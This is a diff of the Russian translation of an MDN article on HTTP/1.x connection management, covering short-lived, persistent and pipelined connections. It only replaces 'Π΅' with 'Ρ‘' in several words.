<p>Π˜ΡΡ…ΠΎΠ΄Π½ΠΎΠΉ модСлью Π² HTTP, Π² HTTP/1.0 ΠΎΠ½Π° ΠΆΠ΅ являСтся модСлью ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ <em>краткосрочныС соСдинСния</em> <em>(short-lived connections)</em>. Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ HTTP запроса ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ΅ соСдинСниС; это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ "Ρ€ΡƒΠΊΠΎΠΏΠΎΠΆΠ°Ρ‚ΠΈΠ΅" TCP происходит ΠΏΠ΅Ρ€Π΅Π΄ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΈΠ· запросов HTTP, ΠΈΠ΄ΡƒΡ‰ΠΈΡ… ΠΎΠ΄ΠΈΠ½ Π·Π° Π΄Ρ€ΡƒΠ³ΠΈΠΌ.</p>
-<p>TCP-Ρ€ΡƒΠΊΠΎΠΏΠΎΠΆΠ°Ρ‚ΠΈΠ΅ само ΠΏΠΎ сСбС Π·Π°Ρ‚Ρ€Π°Ρ‚Π½ΠΎ ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π½ΠΎ TCP-соСдинСния ΠΏΡ€ΠΈΡΠΏΠΎΡΠΎΠ±ΠΈΠ»ΠΈΡΡŒ ΡΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ с этой Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ, ΠΏΡ€Π΅Π²Ρ€Π°Ρ‰Π°ΡΡΡŒ Π² устойчивыС (ΠΈΠ»ΠΈ Ρ‚Π΅ΠΏΠ»Ρ‹Π΅) соСдинСния. ΠšΡ€Π°Ρ‚ΠΊΠΎΡΡ€ΠΎΡ‡Π½Ρ‹Π΅ соСдинСния Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ это ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ свойство TCP, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ оказываСтся Π½ΠΈΠΆΠ΅ ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° осущСствляСтся ΠΏΠΎ Π½ΠΎΠ²ΠΎΠΌΡƒ, Ρ…ΠΎΠ»ΠΎΠ΄Π½ΠΎΠΌΡƒ соСдинСнию.</p>
+<p>TCP-Ρ€ΡƒΠΊΠΎΠΏΠΎΠΆΠ°Ρ‚ΠΈΠ΅ само ΠΏΠΎ сСбС Π·Π°Ρ‚Ρ€Π°Ρ‚Π½ΠΎ ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π½ΠΎ TCP-соСдинСния ΠΏΡ€ΠΈΡΠΏΠΎΡΠΎΠ±ΠΈΠ»ΠΈΡΡŒ ΡΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ с этой Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ, ΠΏΡ€Π΅Π²Ρ€Π°Ρ‰Π°ΡΡΡŒ Π² устойчивыС (ΠΈΠ»ΠΈ Ρ‚Ρ‘ΠΏΠ»Ρ‹Π΅) соСдинСния. ΠšΡ€Π°Ρ‚ΠΊΠΎΡΡ€ΠΎΡ‡Π½Ρ‹Π΅ соСдинСния Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ это ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ свойство TCP, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ оказываСтся Π½ΠΈΠΆΠ΅ ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° осущСствляСтся ΠΏΠΎ Π½ΠΎΠ²ΠΎΠΌΡƒ, Ρ…ΠΎΠ»ΠΎΠ΄Π½ΠΎΠΌΡƒ соСдинСнию.</p>
<p>Данная модСль являСтся модСлью ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² HTTP/1.0 (ΠΏΡ€ΠΈ отсутствии Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° {{HTTPHeader("Connection")}}, ΠΈΠ»ΠΈ ΠΊΠΎΠ³Π΄Π° Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ являСтся<code> close</code>). Π’ HTTP/1.1 такая модСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Connection")}} посылаСтся со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>close</code>.</p>
<div class="note">
-<p>Если Ρ€Π΅Ρ‡ΡŒ Π½Π΅ ΠΈΠ΄Π΅Ρ‚ ΠΎΠ± ΠΎΡ‡Π΅Π½ΡŒ старой, Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰Π΅ΠΉ постоянныС соСдинСния, систСмС, Π΄Π°Π½Π½ΡƒΡŽ модСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅Ρ‚ смысла.</p>
+<p>Если Ρ€Π΅Ρ‡ΡŒ Π½Π΅ ΠΈΠ΄Ρ‘Ρ‚ ΠΎΠ± ΠΎΡ‡Π΅Π½ΡŒ старой, Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰Π΅ΠΉ постоянныС соСдинСния, систСмС, Π΄Π°Π½Π½ΡƒΡŽ модСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅Ρ‚ смысла.</p>
</div>
<h2 id="ΠŸΠΎΡΡ‚ΠΎΡΠ½Π½Ρ‹Π΅_соСдинСния">ΠŸΠΎΡΡ‚ΠΎΡΠ½Π½Ρ‹Π΅ соСдинСния</h2>
-<p>ΠšΡ€Π°Ρ‚ΠΊΠΎΡΡ€ΠΎΡ‡Π½Ρ‹Π΅ соСдинСния ΠΈΠΌΠ΅ΡŽΡ‚ Π΄Π²Π° Π±ΠΎΠ»ΡŒΡˆΠΈΡ… нСдостатка: трСбуСтся Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ врСмя Π½Π° установку Π½ΠΎΠ²ΠΎΠ³ΠΎ соСдинСния, ΠΈ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ TCP-соСдинСния ΡƒΠ»ΡƒΡ‡ΡˆΠ°Π΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎ ΠΏΡ€ΠΎΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΎΡ‚ Π½Π°Ρ‡Π°Π»Π° Π΅Π³ΠΎ использования (Ρ‚Π΅ΠΏΠ»ΠΎΠ΅ соСдинСниС). Для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ этих ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π±Ρ‹Π»Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π° концСпция <em>постоянного соСдинСния (persistent connection</em>), Π΅Ρ‰Π΅ Π΄ΠΎ появлСния HTTP/1.1. Π•Π³ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ <em>соСдинСниСм keep-alive</em>.</p>
+<p>ΠšΡ€Π°Ρ‚ΠΊΠΎΡΡ€ΠΎΡ‡Π½Ρ‹Π΅ соСдинСния ΠΈΠΌΠ΅ΡŽΡ‚ Π΄Π²Π° Π±ΠΎΠ»ΡŒΡˆΠΈΡ… нСдостатка: трСбуСтся Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ врСмя Π½Π° установку Π½ΠΎΠ²ΠΎΠ³ΠΎ соСдинСния, ΠΈ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ TCP-соСдинСния ΡƒΠ»ΡƒΡ‡ΡˆΠ°Π΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎ ΠΏΡ€ΠΎΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΎΡ‚ Π½Π°Ρ‡Π°Π»Π° Π΅Π³ΠΎ использования (Ρ‚Ρ‘ΠΏΠ»ΠΎΠ΅ соСдинСниС). Для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ этих ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π±Ρ‹Π»Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π° концСпция <em>постоянного соСдинСния (persistent connection</em>), Π΅Ρ‰Ρ‘ Π΄ΠΎ появлСния HTTP/1.1. Π•Π³ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ <em>соСдинСниСм keep-alive</em>.</p>
-<p>ΠŸΠΎΡΡ‚ΠΎΡΠ½Π½Ρ‹ΠΌ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ соСдинСниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ остаСтся ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано для Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… запросов, благодаря Ρ‡Π΅ΠΌΡƒ ΠΎΡ‚ΠΏΠ°Π΄Π°Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ Π² Π½ΠΎΠ²Ρ‹Ρ… рукопоТатиях TCP ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ срСдства ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ TCP. Π­Ρ‚ΠΎ соСдинСниС остаСтся ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ Π½Π΅ навсСгда: ΠΏΡ€Π°Π·Π΄Π½Ρ‹Π΅ соСдинСния Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΠΈΡΡ‚Π΅Ρ‡Π΅Π½ΠΈΡŽ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ (для задания минимального Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π½Π° протяТСнии ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ соСдинСниС Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ, сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Keep-Alive")}}).</p>
+<p>ΠŸΠΎΡΡ‚ΠΎΡΠ½Π½Ρ‹ΠΌ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ соСдинСниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ остаётся ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано для Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… запросов, благодаря Ρ‡Π΅ΠΌΡƒ ΠΎΡ‚ΠΏΠ°Π΄Π°Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ Π² Π½ΠΎΠ²Ρ‹Ρ… рукопоТатиях TCP ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ срСдства ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ TCP. Π­Ρ‚ΠΎ соСдинСниС остаётся ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ Π½Π΅ навсСгда: ΠΏΡ€Π°Π·Π΄Π½Ρ‹Π΅ соСдинСния Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΠΈΡΡ‚Π΅Ρ‡Π΅Π½ΠΈΡŽ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ (для задания минимального Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π½Π° протяТСнии ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ соСдинСниС Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ, сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Keep-Alive")}}).</p>
-<p>Π£ постоянных соСдинСний Π΅ΡΡ‚ΡŒ свои Π½Π΅Π΄ΠΎΡ‡Π΅Ρ‚Ρ‹; Π΄Π°ΠΆΠ΅ работая Π²Ρ…ΠΎΠ»ΠΎΡΡ‚ΡƒΡŽ, ΠΎΠ½ΠΈ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡŽΡ‚ рСсурсы сСрвСра, Π° ΠΏΡ€ΠΈ высокой Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ {{glossary("DoS attack", "DoS attacks")}}. Π’ Ρ‚Π°ΠΊΠΈΡ… случаях Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π½Π΅ постоянныС соСдинСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ освободятся.</p>
+<p>Π£ постоянных соСдинСний Π΅ΡΡ‚ΡŒ свои Π½Π΅Π΄ΠΎΡ‡Ρ‘Ρ‚Ρ‹; Π΄Π°ΠΆΠ΅ работая Π²Ρ…ΠΎΠ»ΠΎΡΡ‚ΡƒΡŽ, ΠΎΠ½ΠΈ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡŽΡ‚ рСсурсы сСрвСра, Π° ΠΏΡ€ΠΈ высокой Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ {{glossary("DoS attack", "DoS attacks")}}. Π’ Ρ‚Π°ΠΊΠΈΡ… случаях Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π½Π΅ постоянныС соСдинСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ освободятся.</p>
<p>БоСдинСния HTTP/1.0 ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ постоянными. Для прСвращСния ΠΈΡ… Π² постоянныС Π½Π°Π΄ΠΎ ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ {{HTTPHeader("Connection")}} Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΡ‚ <code>close</code> - ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ <code>retry-after.</code></p>
@@ -51,17 +51,17 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x
<p>ΠšΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½Π°Ρ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° HTTP Π² соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Π½Π΅ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ:</p>
<ul>
- <li><a href="https://en.wikipedia.org/wiki/Proxy_server">ΠŸΡ€ΠΎΠΊΡΠΈ</a> с Π±Π°Π³Π°ΠΌΠΈ всС Π΅Ρ‰Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‚ΡΡ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ странным ΠΈ нСпрСдсказуСмым явлСниям, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΏΡ€Π΅Π΄ΡΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΈ Π΄ΠΈΠ°Π³Π½ΠΎΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</li>
- <li>ΠšΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½ΡƒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ слоТно ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ: объСм ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… рСсурсов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a> ΠΈ эффСктивная пропускная ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ ΠΈΠΌΠ΅ΡŽΡ‚ нСпосрСдствСнноС влияниС Π½Π° Ρ‚Π΅ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ. ΠšΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½Π°Ρ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° HTTP, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π΄Π°Π΅Ρ‚ сущСствСнноС ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π²ΠΎ всСх случаях.</li>
+ <li><a href="https://en.wikipedia.org/wiki/Proxy_server">ΠŸΡ€ΠΎΠΊΡΠΈ</a> с Π±Π°Π³Π°ΠΌΠΈ всС Π΅Ρ‰Ρ‘ Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‚ΡΡ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ странным ΠΈ нСпрСдсказуСмым явлСниям, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΏΡ€Π΅Π΄ΡΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΈ Π΄ΠΈΠ°Π³Π½ΠΎΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</li>
+ <li>ΠšΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½ΡƒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ слоТно ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ: объСм ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… рСсурсов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a> ΠΈ эффСктивная пропускная ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ ΠΈΠΌΠ΅ΡŽΡ‚ нСпосрСдствСнноС влияниС Π½Π° Ρ‚Π΅ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ. ΠšΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½Π°Ρ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° HTTP, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π΄Π°Ρ‘Ρ‚ сущСствСнноС ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π²ΠΎ всСх случаях.</li>
<li>ΠšΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½Π°Ρ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅ <a href="https://en.wikipedia.org/wiki/Head-of-line_blocking">HOL</a>.</li>
</ul>
-<p>По этим ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ Π² HTTP/2 Π½Π° смСну ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΡ€ΠΈΡˆΠ΅Π» Π½ΠΎΠ²Ρ‹ΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ, <em>ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΏΠ»Π΅ΠΊΡΠ½ΠΎΡΡ‚ΡŒ (multiplexing</em>).</p>
+<p>По этим ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ Π² HTTP/2 Π½Π° смСну ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΡ€ΠΈΡˆΡ‘Π» Π½ΠΎΠ²Ρ‹ΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ, <em>ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΏΠ»Π΅ΠΊΡΠ½ΠΎΡΡ‚ΡŒ (multiplexing</em>).</p>
</div>
-<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ запросы <a href="/en/HTTP" title="en/HTTP">HTTP</a> ΠΈΠ΄ΡƒΡ‚ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ. Новый запрос выдаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ. Из-Π·Π° Π·Π°ΠΏΠ°Π·Π΄Ρ‹Π²Π°Π½ΠΈΠΉ Π² сСти ΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ Π½Π° ΠΏΡ€ΠΎΠΏΡƒΡΠΊΠ½ΡƒΡŽ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ это ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ сСрвСр <em>ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ </em>ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ запрос с сущСствСнной Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ.</p>
